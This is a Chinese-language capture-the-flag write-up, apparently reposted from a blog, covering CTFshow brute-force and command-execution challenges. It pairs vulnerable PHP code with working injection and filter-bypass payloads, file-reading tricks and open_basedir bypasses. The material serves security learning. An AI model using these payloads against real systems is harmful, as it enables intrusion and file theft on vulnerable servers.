CTFshow—爆破、命令执行

Web入门:
爆破:

web24伪随机数

CTFshow—爆破、命令执行_第1张图片
通过mt_srand()分发种子(播种),有了种子后随机数也就确定了(随机就那一组了,因此说伪随机

mt_scrand()  //播种 Mersenne Twister 随机数生成器。
mt_rand()   //生成随机数

详细请参考:php伪随机数

解题脚本:
<?php
mt_srand(372619038);
echo(mt_rand());
?>






web28
要求扫描目录
在这里插入图片描述
扫描这两个目录,各从0到100
但扫描时注意 不能加上 2.txt
否则就是扫描文件了,而不是扫描目录
一般目录都是默认打开index文件的,即目录会有默认打开的文件
CTFshow—爆破、命令执行_第2张图片





命令执行:

阅读文章:
1.命令执行绕过小技巧(必看)

2.关于命令执行/注入 以及常见的一些绕过过滤的方法(必看)

3.CTF中的命令执行绕过方式

4.命令执行漏洞,绕过过滤姿势

5.巧用命令注入的N种方式(此文略长…但详细)

eval() :bash函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾
eval()通常配合system()、exec()等命令函数才能执行Linux下的命令
如:eval( system(‘ls’); )

文章目录

    • web29
    • web30
    • web31
    • web32
    • web37
    • web38
    • web39
    • web40
    • web42
    • web45
    • web54
    • web55
    • web56
    • web57
    • web58
    • web71
    • web72——open_basedir
    • **web73~web74**
    • web118——Linux的bash内置变量 配合通配符
    • web75、76——mysql load_file()读取文件
    • web119——利用/bin/cat或/bin/base64配合通配符?
    • web120——/bin/base64
    • web121——/bin/base64 与$?、\$#
    • web122——/bin/base64 与$?
    • web124——数学函数



web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,可以使用通配符进行绕过

*在Linux下代表0个或多个 任意字符

在Linux下代表一个任意字符

除了通配符,还有\''""(空字符拼接)

flag.php  <=>  fl''ag.php  <=>  fl\ag.php

payload:

c=system("cat f*");
c=system("cat fla?????");     //即:cat flag.php
c=echo`nl fl''ag.php`;		//注意是反引号 ` 而不是单引号 '
c=echo`nl fl\ag.php`;	
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

命令执行的函数

只有system()、passthru()可以回显内容,其他需要加上 echo
1.system('')
2.exec('')
3.passthru('')
4.shell_exec('')
5.` `			       \\反引号(里面的内容当作命令执行)
还有以下,但自己没成功使用
6.popen()
7.proc_open()
8.pcntl_exec()
9.使用内置函数:get_defined_functions():返回所有已定义函数的数组
不过需要事先知道PHP版本,因为内置的函数位置因版本而不同
10.利用反射类(相当于call_user_func()$function = new ReflectionFunction('system');
echo $function->invoke('ls');

web30


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

payload:

?c=echo `cat fla*`;
?c=echo exec(' cat fla*');		 fla*换成fla?????也一样
?c=echo exec(' nl fla*');			nl = cat + 行号  

web31


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

绕过空格

<<> 重定向符
%09	(需要php环境)
${IFS}
$IFS$9   为什么要加$9?因为单纯一个$IFS可能被认为是变量,$9起到截断作用
{cat,flag.php} //用逗号实现了空格功能,需要用 {} 括起来
%20(space)
%09(tab)
\t(同上,tab)




cat被过滤(查看文件的方式)

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
paste:按列对齐的方式查看文件
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
base64: 利用了/bin/base64 将文件base64编码读出
sed:  		读取1.txt所有行    sed -n "p" 1.txt 
paste:合并文件的列
diff
bzmore
bzless
pcre

payload:
?c=echo`less%09fla?????`;
?c=echo%09exec("less%09fla?????");
?c=include($_GET["pass"]);?>&pass=php://filter/read=convert.base64-encode/resource=flag.php
?c=eval($_GET["pass"]);&pass=system("cat flag.php");     //注意末尾的分号
?c=eval($_GET["pass"]);?>&pass=system("cat flag.php");    





web32

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))		//这里增加过滤了分号;、括号(、反引号`和echo
    {
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

括号 被过滤了

绕过方式:include (include不需要括号)

1.include"××" <=> include "××" <=>include×× <=>include ××

      (加不加引号一样)             (加不加空格一样)


2.include"$_POST[pass]" <=> include$_POST["pass"]

分号的绕过方式:  ?>

?>等价于;

include包含php文件不会在页面显示出来,因此通过伪协议读取

payload:

1.
?c=include"$_POST[pass]"?>   
pass=php://filter/read=convert.base64-encode/resource=flag.php
2.
?c=include"$_GET[pass]"?>&pass=php://filter/read=convert.base64-encode/resource=flag.php




data伪协议:

Firefox、Chrome和Opera等浏览器支持data URI协议(IE 6不支持),格式非常简单:

data:资源类型;编码,内容

即以data:开头,后分别制定MIME类型,字符集,数据是否已Base64编码,以及数据部分。

如果没有指定MIME类型,那么浏览器就会用默认的text/plain代替;

如果没有指定charset,浏览器会用默认的‘;charset=US-ASCII’代替;

简单来说,要生成一个html资源,可以这样:

data:text/html;ascii,<html><title>hello</title><body>world</body></html>

将以上代码复制到浏览器地址栏,打开就能看到效果了。
在这入图片描述

include
-----------------------------------------------------------------------------------------

web37

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 
?c=data://text/palin,<?php system("cat fla*");?>

web38


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

通过base64绕过,将编码

payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==



web39


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

给定了后缀

c=data:text/plain,
这样就相当于执行了php语句.php
因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。



web40


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了括号、空格、引号、冒号、双斜杠…

用到的函数:
print_r() 用于打印变量(var_dump()有一样效果)
localeconv()函数返回一包含本地数字及货币格式信息的数组。该数组的第一项返回的 是.(小数点字符)
{
pos() 函数返回数组中的当前元素(单元),默认取第一个值,
current() 同pos()
reset()函数返回数组第一个单元的值,如果数组为空则返回 FALSE
}
scandir() 获取目录下的文件
array_reverse() 数组逆序
next() 函数将内部指针指向数组中的下一个元素,并输出。

先给出payload:

?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));

一步步分解看:

?c=print_r(localeconv());    

在这里插入图片描述

?c=print_r(pos(localeconv()));    

在这里插入图片描述

?c=print_r(scandir(pos(localeconv())));得到当前目录下的文件名

相当于print_r(scandir('.'))
可以用来查看当前目录所有文件名
在这里插入图片描述

?c=print_r(array_reverse(scandir(pos(localeconv())))); 将数组反向

在这里插入图片描述

?c=print_r(next(array_reverse(scandir(pos(localeconv())))));将数组指针指向下一个数组元素

在这里插入图片描述
payload:

?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 使用highlight_file()读取文件

CTFshow—爆破、命令执行_第3张图片




web42


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null 2>&1
//会将标准输出,错误输出都重定向至/dev/null,也就是全部丢弃

可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到

需要绕过/dev/null 2>&1,即不执行它

命令分隔 ! 一般有:

;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令(前提是:前面的命令是正确的)
&	//两条命令都会执行
&&	//两条命令都会执行
%0a //换行符

payload:

?c=cat flag.php;
?c=cat flag.php||
?c=cat flag.php%0a






web45


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

payload:

?c=nl<>f''lag.php||

这里用<> <绕过空格(不知道为什么不能用${IFS}、$IFS…)
''""空字符拼接绕过flag(不知道为什么不能用通配符…)






web54


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

要求字符串中不能匹配到cat、flag…
注意,可以用fla?通配符的方式绕过文件名中的flag,因为fla?没有g,不会满足匹配的条件*f.*l.*a.*g.*

payload1:
?c=paste${IFS}fla?.php
payload2:
/bin/?at${IFS}f???????   //利用/bin目录下的cat执行命令
payload3:
?c=grep${IFS}{${IFS}fla?????

grep:

grep  [选项]  “模式”  [文件]
grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
?c=grep { flag.php  在当前目录下的flag.php文件中,查找含有{字样的所有行,并返回满足条件的行






web55

无字母的文件执行


// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题居然连字母都不允许!
解题方法类似于上一题,用到了/bin目录和?通配符

bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配
/bin/base64 flag.php

?c=/???/????64 ????.???

大佬的做法如下:
payload: ?c=/???/???/????2 ????.???      然后在url + /flag.php.bz2
原型是:   ?c=/usr/bin/bzip2 flag.php

/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 bzip2、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载



web56

无字母数字的命令执行


// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

详情看P神的:无字母数字webshell之提高篇
先给出参数c的值:?c=.%20/???/????????[@-[]

两个Linux shell知识点:

shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX。文件名最后6个字符是随机的大小写字母

翻开ascii码表,可见大写字母位于@与[之间
CTFshow—爆破、命令执行_第4张图片
利用 [@-[] 来表示一位的大写字母:
我们假设最后一位是大写字母。构造出:

	  /???/????????[@-[]
原型:/tmp/php××××××

到这里,我们可以确定使用.调用shell来执行一个文件中的命令

问:
①如何使用.来执行文件
②如何使目标服务器有一个可控文件
③可控文件写什么上去

①:

点+空格+文件名,这种方式不要求文件一定具有可执行权限
点+斜杠+文件名, 这种方式要求文件必须有可执行权限

因此:我们当然使用点+空格+文件名的方式执行文件,因为不需要权限
②:
POST一个文件到目标服务器上。
首先构造一个能上传文件的网页。代码如下:

DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POCtitle>
head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">

    <label for="file">文件名:label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
form>
body>
html>


可控文件的内容如下:

#! /bin/sh  //此行内容是固定的。
ls			//此行写命令

#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

上传可控文件到构造的网页上,同时抓包
CTFshow—爆破、命令执行_第5张图片

CTFshow—爆破、命令执行_第6张图片
此时,目标站点上产生一个临时文件
传参:?c=.%20/???/????????[@-[](文件名随机的,有可能文件名最后一位不是大写,多试几次即可)

CTFshow—爆破、命令执行_第7张图片

CTFshow—爆破、命令执行_第8张图片
拓展:

执行 Shell 脚本的多种方式:
(1) 点+斜线+文件名, 这种方式要求文件必须有可执行权限;
(2) 点+空格+文件名,这种方式不要求文件一定具有可执行权限。
(3) sh+空格+文件名,这种方式不要求文件一定具有可执行权限。
(4) source+空格+文件名,这种方式不要求文件一定具有可执行权限。





web57


// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

要求我们传参:36
此题有点“变态”…

$(())是数学运算符,里面是运算式
echo $((1+1)) -->2
echo $(()) --> 0
~是按位取反符(正数取反,绝对值+1;负数取反,绝对值-1)
~0 -->-1 (本题利用此数学式)
~1 -->-2
~2 -->-3
~-2 -->1
echo $((~$(()))) <=> echo $((~0)) <=>-1
echo $((~$(())))$((~$(()))) <=>echo $((~0))$((~0))<=>-1-1
CTFshow—爆破、命令执行_第9张图片
payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

拓展

$()反引号一样可以执行命令

CTFshow—爆破、命令执行_第10张图片



web58


if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

打印文件函数:

highlight_file("flag.php")
show_source("flag.php")






web71

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);		//执行的echo字符串留在缓存区
        $s = ob_get_contents();	//缓存区内容传给$s
        ob_end_clean();		//清除输出缓存区,同时关闭缓存区,导致原本的内容无法输出
        echo preg_replace("/[0-9]|[a-z]/i","?",$s); //echo输出,此时不经过缓存区。
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?


详情看:php中的缓存详解

ob缓存是把服务器执行php脚本时候所打印(echo)出的字符先缓存在内存中,然后在php脚本执行完毕的时候把这些字符串一次性全部发给浏览器端。记住,仅仅是echo(打印)出来的字符串能够缓存到ob缓存中。

ob_get_contents() 返回输出缓冲区的内容
ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲
此题利用exit()结束脚本,不执行后面的语句
include包含文件,因为可执行命令的函数与字符 都被过滤了

c=include("/flag.txt");exit();





web72——open_basedir

代码跟上题的一样,过滤了可执行命令的函数,但还过滤了include且flag的位置不知道在哪

glob:// PHP文档

CTFshow—爆破、命令执行_第11张图片
仿照示例可写出:

c=
$it = new DirectoryIterator("glob:///*");
foreach($it as $f){
    print($f);

};exit();
//通过这个脚本发现flag在flag0.txt
//之后利用UAF的脚本进行命令执行

上面这脚本简单的说就是用glob协议遍历根目录下的文件,由此得知flag0.txt
尝试用include包含文件,不成功
CTFshow—爆破、命令执行_第12张图片
这是因为open_basedir限制我们读取的目录,include自然读取不了,但对上述的glob协议是无效的

利用UAF绕过open_basedir

CTFshow—爆破、命令执行_第13张图片
CTFshow—爆破、命令执行_第14张图片
因为空格被过滤了,要对特殊字符进行URL编码。
CTFshow—爆破、命令执行_第15张图片



web73~web74

利用脚本查看根目录,找到flag文件

c=?><?php
	$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
payload:
?c=include"flag.txt";exit();




web118——Linux的bash内置变量 配合通配符

构造出nl flag.php这条命令,只需要找到一个n一个l即可,flag.php使用通配符
Fuzz测试一下,是有过滤的,将数字与小写字母过滤了
CTFshow—爆破、命令执行_第16张图片

但是$、大写字母、{、}这些都没被过滤,可以使用Linux环境变量
CTFshow—爆破、命令执行_第17张图片

$PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接。
设定解释器搜索所执行的命令的路径。

$PWD 获得当前工作目录路径的字符串值

$PWD的工作目录在此题就是/var/www/html
$PATH的路径一般都是/bin结尾的

root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1}   //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1}   //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1}  //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A}    //字母代表0
t
~是取反号,表示逆序

可见:${PWD:~A}与 ${PWD:~0}有一样的效果,都是表示最后一位,字母起到的作用是和0相同的

payload:
${PATH:~A}${PWD:~A} ????.???




web75、76——mysql load_file()读取文件

通过了数据库读取文件,耳目一新的感觉。只能说长见识了

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);




web119——利用/bin/cat或/bin/base64配合通配符?

这题过滤了PATH,具体为什么我也不知道,起码,用PATH是做不出来了
内置变量用不了,我们可考虑/bin目录下的工具:cat 、base64这些都是可以用的,最关键的问题就是能够匹配出来

${var}  输出:变量var的值  同: $var
${PWD}  当前工作目录,输出:/root

${#var}  输出该变量var的值的长度
${#PWD} 输出:5
注:${#} 输出:0


注:${HOME}默认是/root

了解两个内置变量:$SHLVL$RANDOM

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器

${SHLVL}默认从1 开始,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

${#RANDOM}表示随机数的长度 ,1到5都是有可能的,但实际上:随机数是4位和5位数的机率偏大,${#RANDOM}=4或5的机率很大


解法一:`/bin/base64 flag.php` `4`表示方法:`${#RANDOM}`
payload:
${PWD::${#SHLVL}???${PWD::${#SHLVL}?????${#RANDOM} ????.???}

反复试几次,因为${#RANDOM}不一定等于4


解法二:/bin/cat flag.php
0表示方法:${#}
1表示方法:${SHLVL}
/表示方法:${PWD:0:1}。因为数字被过滤了,变成 ${PWD::${SHLVL}}
t表示方法:${${HOME}:${#RANDOM}:${SHLVL}},容器的hostname应该是4个字母,所以${#HOSTNAME}可以从第5位开始(这里是别的师傅的做法,不大懂为什么hostname应该等于4个字母)

payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???




web120——/bin/base64


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>
payload: 
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

# /bin/base64 flag.php




web121——/bin/base64 与$?、$#


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

过滤了很多内置变量,但是PWDbase64RANDOM还可以用
SHLVL被过滤,那么如何表示1呢?

$? :最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
$# :添加到Shell的参数个数

${##}=1
${#?}=1(上条命令成功执行时才行)

CTFshow—爆破、命令执行_第18张图片
在这里插入图片描述

payload:
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???




web122——/bin/base64 与$?

过滤了#PWD
PWD可用HOME代替
#就是为了得到1
这里需要再次使用$?

$? :最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

如果能让上条命令的结束代码是1,那就可以直接$?获取到1
CTFshow—爆破、命令执行_第19张图片

${ }  与  
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
/bin/base64 flag.php




web124——数学函数


error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
base_convert(number,frombase,tobase)
base_convert(number,frombase,tobase);
参数	描述
number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35

解法一:构造出_GET

echo base_convert('hex2bin',36,10)		//输出37907361743
36进制包括了所有数字与大小写字母

echo hexdec(bin2hex('_GET'))			//输出1598506324

得到所需的10进制后,反过来即可得到_GET

echo base_convert(37907361743,10,36)  					    //hex2bin
echo base_convert(37907361743,10,36)(dechex(1598506324))	//_GET
	#即:hex2bin(dechex(1598506324))   

要构造的payload:

c=system(cat f*)
因为system()不在白名单中

c=$pi=_GET;$_GET[abs]($_GET[acos])&abs=system&acos=cat f*
$pi=_GET是为了减少payload长度

中括号可用花括号代替,代换后:
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=cat f*

再将_GET代换
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));;$$pi{abs}($$pi{acos})&abs=system&acos=cat f*

解法二:getallheader()
CTFshow—爆破、命令执行_第20张图片

?c=system(getallheaders(){1})

base_convert(8768397090111664438,10,30)利用30进制得到getallheaders
base_conbert(1751504350,10,36)             36进制得到system


?c=$pi=base_convert;$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})

CTFshow—爆破、命令执行_第21张图片

你可能感兴趣的:(命令执行,php)